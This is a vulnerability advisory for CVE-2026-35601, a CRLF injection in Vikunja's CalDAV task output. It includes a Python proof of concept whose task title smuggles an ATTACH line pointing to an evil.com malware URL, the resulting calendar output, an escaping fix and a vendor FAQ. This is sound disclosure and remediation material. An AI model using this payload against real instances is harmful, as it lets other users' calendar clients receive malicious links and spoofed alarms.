CVE-2026-35601

The CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as ATTACH, VALARM, or ORGANIZER.

Details

The ParseTodos function at pkg/caldav/caldav.go:146 concatenates the task summary directly into the iCalendar output:

SUMMARY:` + t.Summary + getCaldavColor(t.Color)

RFC 5545 Section 3.3.11 requires TEXT property values to escape newlines as \n, semicolons as \;, commas as \,, and backslashes as \\. None of these escaping rules are applied to Summary, Categories, UID, project name, or alarm Description fields.

Go's JSON decoder preserves literal CR/LF bytes in string values, so task titles created via the REST API retain CRLF characters. When these tasks are served via CalDAV, the newlines break the SUMMARY property and the subsequent text is parsed by CalDAV clients as independent iCalendar properties.

Proof of Concept

Tested on Vikunja v2.2.2.

import requests
from requests.auth import HTTPBasicAuth

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login",
    json={"username": "alice", "password": "Alice1234!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "CalDAV Test"}).json()

# create task with CRLF injection in title
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
    "title": "Meeting\r\nATTACH:https://evil.com/malware.exe\r\nX-INJECTED:pwned"
}).json()

# set UID (normally done by CalDAV sync; here via sqlite for PoC)
# sqlite3 vikunja.db "UPDATE tasks SET uid='inject-test-001' WHERE id={task['id']};"
TASK_UID = "inject-test-001"

# fetch via CalDAV
caldav_token = requests.put(f"{API}/user/settings/token/caldav", headers=h).json()["token"]
r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASK_UID}.ics",
                 auth=HTTPBasicAuth("alice", caldav_token))
print(r.text)

Output:

BEGIN:VCALENDAR
VERSION:2.0
BEGIN:VTODO
UID:inject-test-001
DTSTAMP:20260327T130452Z
SUMMARY:Meeting
ATTACH:https://evil.com/malware.exe
X-INJECTED:pwned
CREATED:20260327T130452Z
LAST-MODIFIED:20260327T130452Z
END:VTODO
END:VCALENDAR

The ATTACH and X-INJECTED lines appear as separate, valid iCalendar properties. CalDAV clients will parse these as legitimate properties.

An authenticated user with write access to a shared project can create tasks with CRLF-injected titles via the REST API. When other users sync via CalDAV, the injected properties take effect in their calendar clients. This enables:

• Injecting malicious attachment URLs (ATTACH) that clients may auto-download or display
• Creating fake alarm notifications (VALARM) for social engineering
• Spoofing organizer identity (ORGANIZER)

CVE-2026-35601 has a CVSS score of 4.1 (Medium). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.3.0); upgrading removes the vulnerable code path.

Kodem intelligence

Apply RFC 5545 TEXT value escaping to all user-controlled fields:

func escapeICal(s string) string {
    s = strings.ReplaceAll(s, "\\", "\\\\")
    s = strings.ReplaceAll(s, ";", "\\;")
    s = strings.ReplaceAll(s, ",", "\\,")
    s = strings.ReplaceAll(s, "\n", "\\n")
    s = strings.ReplaceAll(s, "\r", "")
    return s
}

Apply escapeICal() to t.Summary, config.Name, t.Categories items, a.Description, t.UID, and r.UID.

Found and reported by aisafe.io

1. What is CVE-2026-35601? CVE-2026-35601 is a medium-severity security vulnerability in code.vikunja.io/api (go), affecting versions <= 2.2.2. It is fixed in 2.3.0.
2. How severe is CVE-2026-35601? CVE-2026-35601 has a CVSS score of 4.1 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of code.vikunja.io/api are affected by CVE-2026-35601? code.vikunja.io/api (go) versions <= 2.2.2 is affected.
4. Is there a fix for CVE-2026-35601? Yes. CVE-2026-35601 is fixed in 2.3.0. Upgrade to this version or later.
5. Is CVE-2026-35601 exploitable, and should I be worried? Whether CVE-2026-35601 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-35601 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-35601? Upgrade code.vikunja.io/api to 2.3.0 or later.